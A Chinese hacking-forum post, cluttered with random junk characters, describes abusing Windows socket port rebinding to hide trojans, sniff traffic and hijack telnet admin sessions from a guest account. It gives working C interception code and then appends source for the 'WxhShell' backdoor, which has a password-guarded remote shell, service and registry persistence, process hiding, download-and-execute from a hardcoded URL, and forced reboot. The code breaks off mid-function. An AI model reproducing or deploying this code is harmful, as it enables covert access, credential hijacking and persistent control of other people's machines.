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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~a.ei^r  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); IsB=G-s  
);ZxKGjc4  
  saddr.sin_family = AF_INET; CrEC@5 j  
K=;oZYNd  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9AZpvQ  
oF(|NS^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }&IOBYHVDo  
Uj> bWa`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =7<g;u   
-l q,~`v  
  这意味着什么?意味着可以进行如下的攻击: {us"=JJVN  
Lz}mz-N  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 N uq/y=  
CYN|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~ ^) 4*@i6  
0uf)6(f  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 EB[B0e 7}  
lag%} ^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  47 9yG/+\  
5U%a$.yr  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9Zpd=m8dU  
F]^ZdJ2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 A\~tr   
<5l!xzvw  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,{{Z)"qaH  
M`.v/UQn  
  #include :HDU \|{^  
  #include x<[W9Z'~?9  
  #include Y%)@)$sK  
  #include    [V.#w|n  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )nA fT0()0  
  int main() Ct30EZ  
  { h$q=NTV  
  WORD wVersionRequested; ~!TRR .  
  DWORD ret;  #Up X  
  WSADATA wsaData; 5<L+T  
  BOOL val; c~iAjq+c  
  SOCKADDR_IN saddr; d@_|  
  SOCKADDR_IN scaddr; 0?8{q{ o+  
  int err; R(N5K4J  
  SOCKET s; [5TGCGxP{  
  SOCKET sc; FTC,{$  
  int caddsize; @F0+t;  
  HANDLE mt; SFx|9$hXm  
  DWORD tid;   }o MY  
  wVersionRequested = MAKEWORD( 2, 2 ); l<=Y.P_2  
  err = WSAStartup( wVersionRequested, &wsaData ); qx<h rC0Z&  
  if ( err != 0 ) { fI1,L"  
  printf("error!WSAStartup failed!\n"); 0*}%v:uN9  
  return -1; V50FX }i  
  } i$!-mYi+Q!  
  saddr.sin_family = AF_INET; *T{P^q.s~[  
   0x]W W|se*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 U<H< !NV  
S,~DA3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); beCTOmC  
  saddr.sin_port = htons(23); rkz_h  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E||[(l,b  
  { QvN=<V  
  printf("error!socket failed!\n"); ?A7_&=J%  
  return -1; dwAFJhgh  
  } KM ;'MlO  
  val = TRUE; P(#by{s  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7Ta",S@m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &?mJL0fy  
  { W4~:3 Sk  
  printf("error!setsockopt failed!\n"); Ot#O];3  
  return -1;  iI(7{$y  
  } 1"5-doo  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dy%#E2f  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wa*/Am9;~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 NWq>Z!x`  
l3C%`[MB  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "=97:H{!  
  { OPsg3pW!]  
  ret=GetLastError(); =Vm"2g,aA  
  printf("error!bind failed!\n"); PA(XdT{  
  return -1; ZW0gd7Wh  
  } 43 h0i-%1  
  listen(s,2); xVn"xk  
  while(1) qvH7otA  
  { 42wa9UL<Ka  
  caddsize = sizeof(scaddr); EgT2a  
  //接受连接请求 bijE]:<AE7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~@wM[}ThP$  
  if(sc!=INVALID_SOCKET) g:sn/Zug]  
  { 6*n<emP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); P:gN"f6  
  if(mt==NULL) ;P#c!  
  { xbv  
  printf("Thread Creat Failed!\n"); l].Gz`L  
  break; toCxY+"nbU  
  } sw'?&:<"Ow  
  } 0[qU k(=}[  
  CloseHandle(mt); s;'j n_,0  
  } |_^A$Hv  
  closesocket(s); ] _WB^  
  WSACleanup(); _z$lg]q  
  return 0; sm~{fg  
  }   ~;*SW[4  
  DWORD WINAPI ClientThread(LPVOID lpParam) SXW8p>1Jw  
  { (!@ Q\P  
  SOCKET ss = (SOCKET)lpParam; mu?6Phj  
  SOCKET sc; t<|S7EqIL  
  unsigned char buf[4096]; &(] @L\A  
  SOCKADDR_IN saddr; 1dy>a=W  
  long num; z!r-g(^G  
  DWORD val; 7z=zJ4C  
  DWORD ret; 3. kP,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 gfPht 5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -!k$ Z  
  saddr.sin_family = AF_INET; "#a_--"k9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1b,,uI_  
  saddr.sin_port = htons(23); cx(aMcX6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;QA`2$Ow  
  { .%pbKi `  
  printf("error!socket failed!\n"); $YX\&%N  
  return -1; 8RfFP\AP  
  } < c}cgD4  
  val = 100; v&NC` dVR  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5ZRO{rf  
  { MifPZQ  
  ret = GetLastError(); \[Dxg`;4  
  return -1; IU8/B+hM~  
  } $H9+>Z0(  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b`=\<u8  
  { %ifq4'?Z   
  ret = GetLastError(); vy t$  
  return -1; *P#okwp  
  } wap@q6fz<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) f<`is+"  
  { $ {iV]Xt  
  printf("error!socket connect failed!\n");  4|9c+^%^  
  closesocket(sc); .%D9leiRe  
  closesocket(ss); /~49.}yt  
  return -1; q^e4  
  } 9D2}heTN  
  while(1) CO` %eL ~  
  { {PXN$p:'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 GtCbzNY  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]5+db0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 lm?1 K:+[  
  num = recv(ss,buf,4096,0); L|7F%oR  
  if(num>0) Q!%4Iq%jr  
  send(sc,buf,num,0); :+9KNyA  
  else if(num==0) uz(3ml^S  
  break; :jol Nl|a  
  num = recv(sc,buf,4096,0); /$ -^k[%  
  if(num>0) vakAl;  
  send(ss,buf,num,0); $\0%"S  
  else if(num==0) PfaBzi9?f  
  break; J;K-Pv +  
  } Fo=hL  
  closesocket(ss); |6%B2I&c  
  closesocket(sc); 'Y ZYRFWXM  
  return 0 ; FY^[?lj  
  } dU7+rc2,CU  
(QPfrR=J4  
BrdHTk= Vy  
========================================================== Ye'=F  
f__r " N  
下边附上一个代码,,WXhSHELL dPdodjSu,!  
GWNLET  
========================================================== { *"I4  
jIq@@8@o  
#include "stdafx.h" ^ di[J^  
;\F3~rl  
#include <stdio.h> Q -!,yCu  
#include <string.h> @A_bZQ@  
#include <windows.h> DriJn`vtzq  
#include <winsock2.h> mG? g  
#include <winsvc.h> w"Q6'/P  
#include <urlmon.h> 3HU_ ~%l  
vPm&0,R*y:  
#pragma comment (lib, "Ws2_32.lib") c~@Z  
#pragma comment (lib, "urlmon.lib") -'j_JJ  
q K sI}X~  
#define MAX_USER   100 // 最大客户端连接数 \GL!x 7s1A  
#define BUF_SOCK   200 // sock buffer {9tKq--@E9  
#define KEY_BUFF   255 // 输入 buffer F__j]}?  
3;wAm/Z:Q  
#define REBOOT     0   // 重启 4,8=0[eRG  
#define SHUTDOWN   1   // 关机 N3D{t\hg  
)jM' x&Vg  
#define DEF_PORT   5000 // 监听端口 X=i^[?C  
e/pZLj]M  
#define REG_LEN     16   // 注册表键长度 tevB2'3^  
#define SVC_LEN     80   // NT服务名长度 i'GBj,:  
q~[@(+zP5  
// 从dll定义API  p)5j~Nl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W| z djb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1Na*7|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4z^ ?3@:K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >vDa`|g  
sD|P*ir  
// wxhshell配置信息 P8hA<{UFS\  
struct WSCFG { f^P:eBgpx  
  int ws_port;         // 监听端口 Uxla,CCp-  
  char ws_passstr[REG_LEN]; // 口令 _Eus<c  
  int ws_autoins;       // 安装标记, 1=yes 0=no 82S?@%}#J  
  char ws_regname[REG_LEN]; // 注册表键名 e)pQh& uD  
  char ws_svcname[REG_LEN]; // 服务名 y4%u< /  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tE i-0J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E?{{z4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0y>]6 8D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i+x$Y)=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1o&] =(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IFrq\H0  
%\5 wHT+)  
}; 3#{{+5G  
83 O+`f  
// default Wxhshell configuration {u3eel  
struct WSCFG wscfg={DEF_PORT, lzJ[`i.  
    "xuhuanlingzhe", 8VbHZ9Q  
    1, AS 5\X.%L*  
    "Wxhshell", _|VWf8?\  
    "Wxhshell", *Y4h26  
            "WxhShell Service", I9sx*'  
    "Wrsky Windows CmdShell Service", |T!^&t  
    "Please Input Your Password: ", 9ANC,+0p  
  1, *h+@a  
  "http://www.wrsky.com/wxhshell.exe", Pm2T!0  
  "Wxhshell.exe" .T*K4m{b0  
    }; X6+2~'*t  
I%.96V  
// 消息定义模块 ~hubh!d=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8Iz-YG~%3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f s8nYgv|Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KC+C?]~M  
char *msg_ws_ext="\n\rExit."; h5+qP"n!?q  
char *msg_ws_end="\n\rQuit."; K"p$ga{  
char *msg_ws_boot="\n\rReboot..."; >Oary  
char *msg_ws_poff="\n\rShutdown..."; @x9DV{j)V  
char *msg_ws_down="\n\rSave to "; yv.Y-c=  
eBZa 9X$  
char *msg_ws_err="\n\rErr!"; XkB^.[B  
char *msg_ws_ok="\n\rOK!"; 'dE G\?v9  
q+A^JjzT  
char ExeFile[MAX_PATH]; ?vHow$  
int nUser = 0; q4].C|7   
HANDLE handles[MAX_USER]; tTWeOAF  
int OsIsNt; ya!RiHj  
%Pr P CT  
SERVICE_STATUS       serviceStatus; s[ {L.9Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =5NM =K  
R|7yhsJq,  
// 函数声明 $ O1w 6\}_  
int Install(void); x?hdC)#DWI  
int Uninstall(void); bU`Ih# q  
int DownloadFile(char *sURL, SOCKET wsh); h'{}eYb+   
int Boot(int flag); +&LzLF.bK  
void HideProc(void); Va^AEuzF  
int GetOsVer(void); Sq9I]A  
int Wxhshell(SOCKET wsl); \/rK0|2A  
void TalkWithClient(void *cs); Gp=X1 F  
int CmdShell(SOCKET sock); B;SN}I  
int StartFromService(void); y[U/5! `zV  
int StartWxhshell(LPSTR lpCmdLine); h, |49~^@"  
s%tPGjMq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8"!Z^_y)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l2v4SvbX  
mL\j^q,Y  
// 数据结构和表定义 adHZX  
SERVICE_TABLE_ENTRY DispatchTable[] = <+MNv#1:w  
{ {@T8i ^EI  
{wscfg.ws_svcname, NTServiceMain}, GCN(  
{NULL, NULL} Qt+|s&HGt  
}; ./_o+~\e'  
W)3IS&;P  
// 自我安装 @agW{%R:.  
int Install(void) uZsm=('ww  
{ UlBg6   
  char svExeFile[MAX_PATH]; VE4Z;Dr"  
  HKEY key; # 2As-9  
  strcpy(svExeFile,ExeFile); (kpn"]^'  
`v*UY  
// 如果是win9x系统,修改注册表设为自启动 .&:GO D  
if(!OsIsNt) { GA19=gow  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bM]\mo>z<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @(XX68  
  RegCloseKey(key);  &Gp~)%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x+j5vzhG)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W"9?D  
  RegCloseKey(key); !V~`e9[rl  
  return 0; al/3$0#U  
    } Vp =  
  } 1}#(4tw)  
} >>lT-w  
else { hg}Rh  
:e-&,K  
// 如果是NT以上系统,安装为系统服务 !FhK<#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0qXkWGB  
if (schSCManager!=0) p5<2tSD  
{ (<ybst6+I  
  SC_HANDLE schService = CreateService ?b',kN,(  
  ( az7<@vSXi  
  schSCManager, /0(2PVf y  
  wscfg.ws_svcname, GO@pwq<  
  wscfg.ws_svcdisp, l~.}#$P]  
  SERVICE_ALL_ACCESS, 1jdv<\U   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,E]u[7A  
  SERVICE_AUTO_START, Wsb=SM7;  
  SERVICE_ERROR_NORMAL, 5oz[Njq4  
  svExeFile, 1tvgM !.  
  NULL, c5_?jKpl  
  NULL, zV)Ob0M7U  
  NULL, m?;aTSa  
  NULL, po~l8p>  
  NULL /yHM =&Vg]  
  ); x)6yWr[ri%  
  if (schService!=0) h:QKd!Gq  
  { =>ooB/  
  CloseServiceHandle(schService); 'jp nQcwxx  
  CloseServiceHandle(schSCManager); w$J0/eX{A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'L#qR)t  
  strcat(svExeFile,wscfg.ws_svcname); |RqCw7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {p -b,J9~a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :[gM 5G  
  RegCloseKey(key); HR'r~ #j  
  return 0; !ndc <],  
    } @";z?xj  
  } uHdrHP  
  CloseServiceHandle(schSCManager); 4;;F(yk8  
} yb BLBJb  
} XcJ'w  
O@U[S.IK  
return 1; #pJ^w>YNy  
} J-g#zs  
EUdu"'=4a  
// 自我卸载 7+aTrE{  
int Uninstall(void) "rz|sbj  
{ y}jX/Ln  
  HKEY key; Ba/Z<1)  
H27J kZ&  
if(!OsIsNt) { zuOx@T^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?'H);ou-p  
  RegDeleteValue(key,wscfg.ws_regname);  /kGRN @  
  RegCloseKey(key); pyK|zvr-r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ua(y! Im  
  RegDeleteValue(key,wscfg.ws_regname); $rf4h]&<  
  RegCloseKey(key); WXj}gL`  
  return 0; }?B=R#5  
  } \nV|Y=5  
} t5h]]TOz  
} ['pk/h  
else { X<s']C9c  
2-821Sf#h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Yck(Fl  
if (schSCManager!=0) w5"C<5^  
{ @YyTXg{ZK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2Mx9Kd'a r  
  if (schService!=0) TRG(W^<F  
  { tBe)#-O  
  if(DeleteService(schService)!=0) { M-KjRl  
  CloseServiceHandle(schService); 8;7Y}c  
  CloseServiceHandle(schSCManager); v#0R   
  return 0; q#B^yk|Y  
  } >'eOzMBn  
  CloseServiceHandle(schService); m3]|I(]`Xe  
  } )5P*O5kQ -  
  CloseServiceHandle(schSCManager);  =%AFn9q  
} 0 1[LPN  
} _xign 3  
#ej^K |Qx  
return 1; FKflN  
} yn<z!z%mz  
H<|I&nV  
// 从指定url下载文件 eW)(u$C|qL  
int DownloadFile(char *sURL, SOCKET wsh) KU[eY}   
{ +F ~;Q$T  
  HRESULT hr; .:,RoK1  
char seps[]= "/"; lpkg( J#&  
char *token; 0j%@P[zQ  
char *file; '2=u<a B  
char myURL[MAX_PATH]; D"fE )@Q@Y  
char myFILE[MAX_PATH]; ~*D)L'`2M  
0`/PEK{  
strcpy(myURL,sURL); VY8 p[`  
  token=strtok(myURL,seps); z^9Yoqog  
  while(token!=NULL) ?}%Gr,tj2  
  { DG1  >T  
    file=token; Xg.'<.!g0  
  token=strtok(NULL,seps); /E(H`;DG  
  } 2XrPgq'  
"Iu[)O%  
GetCurrentDirectory(MAX_PATH,myFILE); $DC*&hqpt  
strcat(myFILE, "\\"); BM{GSX  
strcat(myFILE, file); M*| y&XBe  
  send(wsh,myFILE,strlen(myFILE),0); J=6 7As  
send(wsh,"...",3,0); /B"h #v-o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [@[!esC  
  if(hr==S_OK) aR.1&3fE  
return 0; 9"R]"v3BA  
else O!='U!X@P  
return 1; |jm|/{lc  
\/4ipU.  
} &|P@$O>  
N]: "3?%  
// 系统电源模块 v,r}q1.E}  
int Boot(int flag) xEaRuH c  
{ i7 `dY {p7  
  HANDLE hToken; R3F>"(P@tS  
  TOKEN_PRIVILEGES tkp; a_I!2w<I  
Rk^Fasg"  
  if(OsIsNt) { =nOV!!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :7p0JGd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X"b4U\A  
    tkp.PrivilegeCount = 1; *Id$%O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wo7.y["$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~6@zXHAS  
if(flag==REBOOT) { zvL&V .>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~\/>b}^uf'  
  return 0; !*u5HVn  
} @lAOi1m,,  
else { b].:2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H[V^wyi'z  
  return 0; hN c;, 13  
} i0,{*LD%^  
  } )eGGA6G  
  else { }GsZ)\!$4  
if(flag==REBOOT) { -h*Yd)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r9@O`i  
  return 0; gBHev1^y  
} xBU\$ToC  
else { ;OmmXygl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Jl&bWp^3  
  return 0; ]4\^>  
} tC\x9&:  
} cO<]%L0  
TW).j6@f  
return 1; 8,YF>O&  
} *103  
Gk,{{:M:5  
// win9x进程隐藏模块 KM 4w{  
void HideProc(void) 28SlFu?  
{ Km]N scq1  
gB&]kHLO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k@5#^G  
  if ( hKernel != NULL ) J"|)?$d]z  
  { K7<'4i~k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lf0/ 0KH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B+);y  
    FreeLibrary(hKernel); {b^naE  
  } x `PIJE  
=b32E^z,  
return; <,Sy:>:"  
} 52m^jT Sx  
9Q]v#&1  
// 获取操作系统版本 7;;W{W%  
int GetOsVer(void) f Otrn  
{ 5|m|R"I*Y  
  OSVERSIONINFO winfo; 6\ux;lksn*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )g:UH Ns  
  GetVersionEx(&winfo); z:u`W#Rf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MGc=TQ.  
  return 1; eno*JK  
  else ?MKf=! w  
  return 0; \q3H#1A  
} +n,8o:fU:  
T 6QnCmB4  
// 客户端句柄模块  =e$ #m;  
int Wxhshell(SOCKET wsl) XYod>[.x  
{ W{ eu_  
  SOCKET wsh; @kvp2P+O  
  struct sockaddr_in client; ]~?k%Mpw  
  DWORD myID; Pdf_{8 r  
b cM#KA  
  while(nUser<MAX_USER) y{u6t 3  
{ X&wK<  
  int nSize=sizeof(client); 6sP;O,UX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^{6Y7T]  
  if(wsh==INVALID_SOCKET) return 1; ?b#?Vz  
DIk$9$"<x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OzO_E8Kb\  
if(handles[nUser]==0) `W]a @\EYA  
  closesocket(wsh); "b1_vA]03  
else S BFhC  
  nUser++; '')G6-c/  
  } xR_]^Get  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I]k'0LG*^  
//J:p,AF  
  return 0; 6:B5PJq  
} Bs##3{ylu  
d\)v62P  
// 关闭 socket !?l 23(d  
void CloseIt(SOCKET wsh) ise@,[!  
{ V >['~|  
closesocket(wsh); 66|lQE&n  
nUser--; k&~vVx  
ExitThread(0); |HG%o 3E]  
} Q'8v!/"}p{  
xDQ$Ui.  
// 客户端请求句柄 i44:VR|  
void TalkWithClient(void *cs) RtIc:ym  
{ wZC'BLD  
>^Y 9p~  
  SOCKET wsh=(SOCKET)cs; Fj]S8wI  
  char pwd[SVC_LEN]; +$UfP(XmH  
  char cmd[KEY_BUFF]; {'b8;x8h  
char chr[1]; yr=r? h}  
int i,j; *,R e&N8  
*jJ62-o  
  while (nUser < MAX_USER) { FdSaOod8  
"(xS  
if(wscfg.ws_passstr) { \;?\@vo<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JNu- z:J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r]E$uq bR  
  //ZeroMemory(pwd,KEY_BUFF); %b*%'#iK  
      i=0; %/^d]#  
  while(i<SVC_LEN) { iM9563v  
+p[~hM6?  
  // 设置超时 {10ms_s  
  fd_set FdRead; :rj78_e9  
  struct timeval TimeOut;  jPs+i  
  FD_ZERO(&FdRead); 3Yf$WE8#l  
  FD_SET(wsh,&FdRead); h49Q2`  
  TimeOut.tv_sec=8; \8$`:3,@  
  TimeOut.tv_usec=0; c[YjGx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XgbGC*dQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MvW>ktkU  
3K{8sFDO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P~ykC{nD  
  pwd=chr[0]; g\l;>  
  if(chr[0]==0xd || chr[0]==0xa) { Z-<u?f8{*  
  pwd=0; N:<O  
  break; 9?:S:Sq  
  } Ocb2XEF  
  i++; "h2Ny#  
    } IF:M_   
6Te}"t>  
  // 如果是非法用户,关闭 socket m7"f6zSo(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d"78:+  
} y(dS1.5F  
Z~uKT n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); br;G5^j3?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |W <:rT  
IBqY$K+l  
while(1) { z(WpOD   
"uCQm '  
  ZeroMemory(cmd,KEY_BUFF); A!D:Kc3  
M BT-L  
      // 自动支持客户端 telnet标准   |z'?3?,~  
  j=0; c{Kl?0#[  
  while(j<KEY_BUFF) { r83~o/T@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LC{hoq\  
  cmd[j]=chr[0]; 8x" d/D  
  if(chr[0]==0xa || chr[0]==0xd) { 7j:{rCp3J  
  cmd[j]=0; TJpv"V  
  break; `VsGa  
  }  62jA  
  j++; sJoi fl 7  
    } &w0=/G/T=~  
?nW#qy!R  
  // 下载文件 6\;1<Sw*  
  if(strstr(cmd,"http://")) { }L!`K"^O&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6W=:`14  
  if(DownloadFile(cmd,wsh)) A232"p_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !j9i=YDb  
  else gN(hv.nQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k_>{"Rc  
  } MuGg z>CV[  
  else { 3.X0!M;x  
}yw;L(3  
    switch(cmd[0]) { 9/Dt:R3QU  
  N| Pm|w*?  
  // 帮助 Ra5'x)m36)  
  case '?': { ~ fEs!hl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %wW5)Y I  
    break; AnY)T8w  
  } /zf>>O`  
  // 安装 v4_OUA>z,  
  case 'i': { h)8+4?-4 I  
    if(Install()) FH8mK)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #<Nvy9  
    else NCnId}BT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hxVM]e[  
    break; k!=GNRRZE  
    } r)(BT:2m  
  // 卸载 \!Zh="hN  
  case 'r': { ;J-Ogt@d7  
    if(Uninstall()) 4oV_b"xz~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ""3m!qn#  
    else 1lyOp   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q5nyD/k4c  
    break; 4>VZk^%b#  
    } R.IUBw5;/  
  // 显示 wxhshell 所在路径 5`'=Ko,N  
  case 'p': { jne9=Als5  
    char svExeFile[MAX_PATH]; =8p+-8M[d  
    strcpy(svExeFile,"\n\r"); <nTmZ-;  
      strcat(svExeFile,ExeFile); <hZ}34?]i2  
        send(wsh,svExeFile,strlen(svExeFile),0); >Y-TwD aE  
    break; l$VxE'&LQ  
    } RyOT[J  
  // 重启 _:X|R#d  
  case 'b': { QeeC2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .(7C)P{ .0  
    if(Boot(REBOOT)) } ndvV~*1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }SMJD  
    else { >9<8G]vcH  
    closesocket(wsh); b^,Mw8KsO  
    ExitThread(0); BQ9`DYIb  
    } bI]UO)  
    break; \As oeeF  
    } HS6Imi  
  // 关机 &O6;nJEI  
  case 'd': { m/hi~. D9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YNC0Z'c9  
    if(Boot(SHUTDOWN)) qN1 -plY  
